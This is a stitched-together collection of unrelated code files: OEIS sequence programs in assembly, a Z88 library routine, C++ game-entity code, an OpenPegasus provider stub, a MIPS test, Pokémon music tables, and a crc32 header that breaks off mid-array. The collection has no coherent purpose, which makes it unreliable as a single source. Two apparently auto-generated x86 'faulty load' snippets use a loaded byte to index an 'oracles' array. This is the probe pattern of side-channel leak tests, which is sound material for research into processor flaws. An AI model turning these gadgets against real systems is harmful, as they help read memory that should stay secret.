DEFINE_IL2CPP_ARG_TYPE_GENERIC_CLASS(System::Predicate_1, "System", "Predicate`1");
#pragma pack(pop)
|
; A134828: Numerator of moments of Chebyshev U- (or S-) polynomials.
; 1,0,1,0,1,0,5,0,7,0,21,0,33,0,429,0,715,0,2431,0,4199,0,29393,0,52003,0,185725,0,334305,0,9694845,0,17678835,0,64822395,0,119409675,0,883631595,0,1641030105,0,6116566755,0,11435320455,0,171529806825,0
seq $0,126120 ; Catalan numbers (A000108) interpolated with 0's.
lpb $0
dif $0,2
lpe
|
; A136313: a(1) = 1; for n>1, a(n) = a(n-1) + 8 mod 22.
; 1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13,21,7,15,1,9,17,3,11,19,5,13
mov $1,$0
mul $1,4
mod $1,11
mul $1,2
add $1,1
|
; A097080: a(n) = 2*n^2 - 2*n + 3.
; 3,7,15,27,43,63,87,115,147,183,223,267,315,367,423,483,547,615,687,763,843,927,1015,1107,1203,1303,1407,1515,1627,1743,1863,1987,2115,2247,2383,2523,2667,2815,2967,3123,3283,3447,3615,3787,3963,4143,4327,4515,4707,4903,5103,5307,5515,5727,5943,6163,6387,6615,6847,7083,7323,7567,7815,8067,8323,8583,8847,9115,9387,9663,9943,10227,10515,10807,11103,11403,11707,12015,12327,12643,12963,13287,13615,13947,14283,14623,14967,15315,15667,16023,16383,16747,17115,17487,17863,18243,18627,19015,19407,19803
sub $1,$0
bin $1,2
mul $1,4
add $1,3
mov $0,$1
|
; Small C+ Z88 Support Library
;
; Convert signed int to long
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_int2long_s_float
EXTERN float
l_int2long_s_float:
; If MSB of h sets de to 255, if not sets de=0
ld de,0
bit 7,h
jp z, float
dec de
jp float
|
#include "extdll.h"
#include "util.h"
#include "cbase.h"
#include "ASCustomEntitiesUtils.h"
void CASBaseClassCreator::GenerateCommonBaseClassContents( CASClassWriter& writer, const char* const pszEntityClass, const char* const pszBaseClass )
{
ASSERT( pszEntityClass );
ASSERT( pszBaseClass );
const std::string szEntHandle = pszEntityClass + std::string( "@" );
const std::string szBaseHandle = pszBaseClass + std::string( "@" );
writer.StartClassDeclaration( true, "ICustomEntity" );
writer.WriteProperty( CASClassWriter::Visibility::PRIVATE, szEntHandle.c_str(), "m_pSelf", "null" );
writer.StartPropDeclaration( CASClassWriter::Visibility::PUBLIC, szEntHandle.c_str(), "self" );
writer.WritePropGetter( "return @m_pSelf;", true );
writer.EndPropDeclaration();
writer.NewLine();
writer.WriteProperty( CASClassWriter::Visibility::PRIVATE, szBaseHandle.c_str(), "m_pBaseClass", "null" );
writer.StartPropDeclaration( CASClassWriter::Visibility::PUBLIC, szBaseHandle.c_str(), "BaseClass" );
writer.WritePropGetter( "return @m_pBaseClass;", true );
writer.EndPropDeclaration();
writer.WriteProperty( CASClassWriter::Visibility::PRIVATE, "CCallbackHandler@", "m_pCallbackHandler", "null" );
writer.StartPropDeclaration( CASClassWriter::Visibility::PUBLIC, "CCallbackHandler@", "CallbackHandler" );
writer.WritePropGetter( "return @m_pCallbackHandler;", true );
writer.EndPropDeclaration();
writer.NewLine();
writer.WriteConstructorHeader();
writer.StartBracket();
writer.EndBracket();
writer.NewLine();
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, "void", "SetSelf", ( szEntHandle + " pSelf" ).c_str(), false, true );
writer.StartBracket();
writer.Write(
"if( m_pSelf !is null )\n"
"\treturn;\n"
"@m_pSelf = @pSelf;\n" );
writer.EndBracket();
writer.NewLine();
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, "void", "SetBaseClass", ( szBaseHandle + " pBaseClass" ).c_str(), false, true );
writer.StartBracket();
writer.Write(
"if( m_pBaseClass !is null )\n"
"\treturn;\n"
"@m_pBaseClass = @pBaseClass;\n" );
writer.EndBracket();
writer.NewLine();
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, "void", "SetCallbackHandler", "CCallbackHandler@ pHandler", false, true );
writer.StartBracket();
writer.Write(
"if( m_pCallbackHandler !is null )\n"
"\treturn;\n"
"@m_pCallbackHandler = @pHandler;\n" );
writer.EndBracket();
writer.NewLine();
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, "void", "SetThink", "ThinkFunc@ pFunc", false, true );
writer.StartBracket();
writer.Write(
"m_pCallbackHandler.SetThink( pFunc );" );
writer.EndBracket();
writer.NewLine();
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, "void", "SetTouch", "TouchFunc@ pFunc", false, true );
writer.StartBracket();
writer.Write(
"m_pCallbackHandler.SetTouch( pFunc );" );
writer.EndBracket();
writer.NewLine();
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, "void", "SetUse", "UseFunc@ pFunc", false, true );
writer.StartBracket();
writer.Write(
"m_pCallbackHandler.SetUse( pFunc );" );
writer.EndBracket();
writer.NewLine();
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, "void", "SetBlocked", "BlockedFunc@ pFunc", false, true );
writer.StartBracket();
writer.Write(
"m_pCallbackHandler.SetBlocked( pFunc );" );
writer.EndBracket();
writer.NewLine();
//Implicit conversion to CBaseEntity@ to allow passing this for CBaseEntity@ parameters.
writer.WriteMethodHeader( CASClassWriter::Visibility::PUBLIC, szEntHandle.c_str(), "opImplCast", "", true, true );
writer.StartBracket();
writer.Write( "return @self;" );
writer.EndBracket();
writer.NewLine();
}
void CCustomEntityHandler::KeyValue( KeyValueData* pkvd )
{
edict_t* pEdict = edict();
//Detach this entity instance from the edict.
pEdict->pvPrivateData = nullptr;
pev = nullptr;
//First keyvalue will be "customclass"
if( !FStrEq( pkvd->szKeyName, "customclass" ) )
{
Alert( at_error, "Custom entity creation: Expected \"customclass\" keyvalue, got \"%s\"\n", pkvd->szKeyName );
g_engfuncs.pfnRemoveEntity( pEdict );
return;
}
pkvd->fHandled = true;
g_CustomEntities.CreateCustomEntity( pkvd->szValue, pEdict );
}
//Handler for custom entities. Dynamically allocated so the constructor can call engine functions.
static CCustomEntityHandler* g_pCustomHandler = nullptr;
/**
* The engine will call into this function to create entities if it fails to find an exported function for it.
*/
extern "C" void DLLEXPORT custom( entvars_t* pev )
{
if( !g_pCustomHandler )
{
//Using array new is a way to get around operator new being overloaded, since operator new[] is not overloaded.
//This is a tiny memory leak, nothing to worry about unless entities start getting tracked on creation.
g_pCustomHandler = new CCustomEntityHandler[ 1 ];
}
pev->pContainingEntity->pvPrivateData = g_pCustomHandler;
g_pCustomHandler->pev = pev;
//Don't call OnCreate.
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xb44, %r13
nop
dec %r11
vmovups (%r13), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbx
inc %rbp
lea addresses_D_ht+0xa24, %rdi
clflush (%rdi)
nop
add $65122, %rbp
vmovups (%rdi), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %r9
nop
nop
nop
xor %rbx, %rbx
lea addresses_WT_ht+0x13704, %r9
clflush (%r9)
nop
and %rdx, %rdx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm5
and $0xffffffffffffffc0, %r9
vmovntdq %ymm5, (%r9)
nop
sub $54983, %r13
lea addresses_WT_ht+0x50d4, %rdx
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov (%rdx), %r9w
nop
nop
nop
nop
inc %rdx
lea addresses_UC_ht+0xe404, %rdx
sub %rdi, %rdi
movups (%rdx), %xmm1
vpextrq $0, %xmm1, %r13
nop
nop
nop
add $49846, %rdi
lea addresses_UC_ht+0x77a4, %r9
cmp $53277, %r13
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
and $0xffffffffffffffc0, %r9
movntdq %xmm5, (%r9)
nop
nop
sub $30032, %rbx
lea addresses_UC_ht+0x8e5c, %rsi
lea addresses_WT_ht+0x4b84, %rdi
nop
nop
nop
nop
inc %r9
mov $37, %rcx
rep movsb
nop
nop
inc %rdx
lea addresses_A_ht+0x10004, %rsi
lea addresses_normal_ht+0xc746, %rdi
nop
nop
nop
nop
sub %rdx, %rdx
mov $30, %rcx
rep movsq
and $1975, %r9
lea addresses_A_ht+0x3fd4, %rbx
cmp $9237, %rdx
movups (%rbx), %xmm1
vpextrq $1, %xmm1, %r13
nop
nop
sub %rbx, %rbx
lea addresses_UC_ht+0xd804, %rbp
nop
nop
sub %r13, %r13
mov (%rbp), %r11d
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x11ea4, %rsi
lea addresses_WC_ht+0xb71e, %rdi
nop
nop
nop
nop
nop
and $35030, %r9
mov $103, %rcx
rep movsl
nop
nop
xor $37239, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r9
push %rax
push %rcx
// Store
mov $0xa64, %rax
nop
xor %rcx, %rcx
movw $0x5152, (%rax)
xor $46350, %r13
// Faulty Load
lea addresses_RW+0x14004, %r9
nop
nop
nop
nop
add %rax, %rax
mov (%r9), %r15d
lea oracles, %r9
and $0xff, %r15
shlq $12, %r15
mov (%r9,%r15,1), %r15
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
; A116722: Number of permutations of length n which avoid the patterns 312, 1324, 3421; or avoid the patterns 312, 1324, 2341, etc.
; 1,2,5,12,25,47,82,135,212,320,467,662,915,1237,1640,2137,2742,3470,4337,5360,6557,7947,9550,11387,13480,15852,18527,21530,24887,28625,32772,37357,42410,47962,54045,60692,67937,75815,84362,93615,103612,114392,125995,138462,151835,166157,181472,197825,215262,233830,253577,274552,296805,320387,345350,371747,399632,429060,460087,492770,527167,563337,601340,641237,683090,726962,772917,821020,871337,923935,978882,1036247,1096100,1158512,1223555,1291302,1361827,1435205,1511512,1590825,1673222,1758782,1847585,1939712,2035245,2134267,2236862,2343115,2453112,2566940,2684687,2806442,2932295,3062337,3196660,3335357,3478522,3626250,3778637,3935780,4097777,4264727,4436730,4613887,4796300,4984072,5177307,5376110,5580587,5790845,6006992,6229137,6457390,6691862,6932665,7179912,7433717,7694195,7961462,8235635,8516832,8805172,9100775,9403762,9714255,10032377,10358252,10692005,11033762,11383650,11741797,12108332,12483385,12867087,13259570,13660967,14071412,14491040,14919987,15358390,15806387,16264117,16731720,17209337,17697110,18195182,18703697,19222800,19752637,20293355,20845102,21408027,21982280,22568012,23165375,23774522,24395607,25028785,25674212,26332045,27002442,27685562,28381565,29090612,29812865,30548487,31297642,32060495,32837212,33627960,34432907,35252222,36086075,36934637,37798080,38676577,39570302,40479430,41404137,42344600,43300997,44273507,45262310,46267587,47289520,48328292,49384087,50457090,51547487,52655465,53781212,54924917,56086770,57266962,58465685,59683132,60919497,62174975,63449762,64744055,66058052,67391952,68745955,70120262,71515075,72930597,74367032,75824585,77303462,78803870,80326017,81870112,83436365,85024987,86636190,88270187,89927192,91607420,93311087,95038410,96789607,98564897,100364500,102188637,104037530,105911402,107810477,109734980,111685137,113661175,115663322,117691807,119746860,121828712,123937595,126073742,128237387,130428765,132648112,134895665,137171662,139476342,141809945,144172712,146564885,148986707,151438422,153920275,156432512,158975380
mov $6,$0
lpb $0
sub $0,1
trn $3,1
add $2,$3
add $3,2
add $5,$6
add $4,$5
add $4,$2
mov $6,$2
lpe
mov $1,2
trn $5,1
sub $4,$5
add $4,2
add $1,$4
sub $1,3
|
//%LICENSE////////////////////////////////////////////////////////////////
//
// Licensed to The Open Group (TOG) under one or more contributor license
// agreements. Refer to the OpenPegasusNOTICE.txt file distributed with
// this work for additional information regarding copyright ownership.
// Each contributor licenses this file to you under the OpenPegasus Open
// Source License; you may not use this file except in compliance with the
// License.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
// IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
// CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
// TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
// SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
//////////////////////////////////////////////////////////////////////////
//
//%///////////////////////////////////////////////////////////////////////
#include <Pegasus/Common/Config.h>
#include "TestGoodInstanceProvider.h"
PEGASUS_NAMESPACE_BEGIN
extern "C"
PEGASUS_EXPORT CIMProvider* PegasusCreateProvider(const String& providerName)
{
if (String::equalNoCase(providerName, "TestGoodInstanceProvider"))
{
return new TestGoodInstanceProvider();
}
return 0;
}
PEGASUS_NAMESPACE_END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x83d5, %rsi
lea addresses_normal_ht+0x13575, %rdi
nop
nop
nop
add $18616, %r12
mov $26, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $17303, %rbp
lea addresses_normal_ht+0x4d5, %r10
nop
nop
nop
nop
and $16033, %r15
mov (%r10), %si
nop
and $63149, %rcx
lea addresses_D_ht+0xa4d5, %rcx
add $44827, %r12
movl $0x61626364, (%rcx)
nop
add %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0xb9d5, %r9
clflush (%r9)
nop
cmp $29831, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm1
movups %xmm1, (%r9)
nop
nop
nop
nop
and $25506, %r9
// REPMOV
lea addresses_WT+0x1aa6d, %rsi
lea addresses_UC+0x1fb4b, %rdi
nop
nop
inc %rdx
mov $81, %rcx
rep movsw
nop
nop
nop
add %r11, %r11
// Store
lea addresses_WC+0x20e9, %r9
nop
xor $329, %rdx
movw $0x5152, (%r9)
cmp $64631, %rdx
// Store
lea addresses_UC+0x144d5, %rdx
sub %rdi, %rdi
mov $0x5152535455565758, %r9
movq %r9, %xmm5
movups %xmm5, (%rdx)
xor %rdi, %rdi
// Load
mov $0x1d5, %rdx
nop
nop
nop
nop
xor $12709, %r11
mov (%rdx), %edi
nop
nop
and %rdx, %rdx
// Load
lea addresses_normal+0x1c9bb, %rcx
nop
nop
xor %rsi, %rsi
movb (%rcx), %dl
nop
nop
nop
nop
xor %rdi, %rdi
// Store
mov $0xcd62a00000004d5, %r11
nop
cmp $16045, %rsi
mov $0x5152535455565758, %r9
movq %r9, %xmm6
movups %xmm6, (%r11)
nop
nop
nop
nop
nop
dec %rcx
// REPMOV
mov $0x4ed8d60000000ad5, %rsi
mov $0x313ba40000000799, %rdi
nop
cmp $6428, %r13
mov $22, %rcx
rep movsb
nop
add %r13, %r13
// Faulty Load
mov $0xcd62a00000004d5, %rbp
nop
nop
xor %r11, %r11
mov (%rbp), %ecx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WT', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}}
{'src': {'type': 'addresses_NC', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_NC', 'congruent': 2, 'same': False}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}}
{'58': 21702, '00': 127}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
#lwsw test
.data
tst: .word 0
.text
la $t0, tst
li $t1, 69
sw $t1, ($t0)
lw $t2, ($t0) |
RadioChannelSongs:
; entries correspond to radio channel ids
dw MUSIC_POKEMON_TALK
dw MUSIC_POKEMON_CENTER
dw MUSIC_TITLE
dw MUSIC_GAME_CORNER
dw MUSIC_BUENAS_PASSWORD
dw MUSIC_VIRIDIAN_CITY
dw MUSIC_BICYCLE
dw MUSIC_ROCKET_OVERTURE
dw MUSIC_POKE_FLUTE_CHANNEL
dw MUSIC_RUINS_OF_ALPH_RADIO
dw MUSIC_LAKE_OF_RAGE_ROCKET_RADIO
|
#include "crc32.h"
namespace VulkanTest
{
static U32 crc32Table[256] =
{
